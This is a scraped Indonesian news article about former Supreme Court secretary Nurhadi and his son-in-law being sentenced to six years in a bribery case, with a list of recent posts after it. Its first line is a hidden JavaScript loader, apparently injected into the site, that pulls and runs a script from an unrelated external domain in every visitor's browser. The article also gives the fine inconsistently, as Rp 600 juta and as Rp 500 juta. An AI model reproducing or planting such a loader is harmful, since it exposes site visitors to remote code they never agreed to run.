(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tok! Eks Sekretaris MA Nurhadi Divonis 6 tahun Penjara


KANALKALIMANTAN.COM – Mantan Sekretaris Mahkamah Agung (MA) Nurhadi divonis penjara 6 tahun oleh majelis hakim Pengadilan Negeri Tindak Pidana Korupsi (Tipikor) Jakarta Pusat, Rabu (10/3/2021).

Tak hanya itu, menantu eks Sekretaris MA Nurhadi, yakni Rezky Herbiyono, juga dijatuhi vonis pidana serupa. Keduanya turut pula didenda masing-masing Rp 600 juta.

“Memutuskan menjatuhkan hukuman kepada terdakwa Nurhadi dan Rezky Herbiyono dengan pidana masing-masing 6 tahun penjara dan denda Rp 500 juta,” kata Hakim Ketua Saifudin Zuhri.

Mendengar putusan itu Nurhadi dan menantunya yang diwakili oleh pengacaranya Maqdir Ismail mengatakan akan melakukan banding.

“Kami akan melakukan banding yang mulia,” kata Maqdir.

Banding juga diajukan Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK).

“Kami mengajukan banding yang mulia,” ujar Jaksa KPK.

Sebelumnya, pada perkara ini, Jaksa KPK mendakwah Nurhadi dan Rezky Herbiyono menerima suap sebesar Rp 45,7 miliar dari Dirut PT MIT Hiendra Soenjoto.

Uang suap diterima Nurhadi untuk membantu perusahaan Hiendra melawan PT Kawasan Berikat Nusantara (PT KBN).

Tersangka kasus dugaan suap gratifikasi senilai Rp 46 miliar Rezky Herbiyono berjalan usai menjalani pemeriksaan di Gedung KPK, Jakarta, Selasa (2/6/2020). [Suara.com/Alfian Winanto]

Selain suap, Nurhadi juga didakwa menerima gratifikasi mencapai Rp 37,2 miliar. Uang itu diterima Nurhadi melalui menantunya Rezky Herbiyono dari sejumlah pihak.

Dalam kasus ini, Nurhadi dan Rezky didakwa melanggar Pasal 12 huruf a atau Pasal 11 juncto Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah UU Nomor 20 Tahun 2001 juncto Pasal 55 Ayat (1) ke-1 KUHP juncto Pasal 65 Ayat (1) KUHP.(Suara)

Editor : Suara

 

 


Al Ghifari

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

9 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

12 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

14 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

14 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

17 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

17 jam ago

This website uses cookies.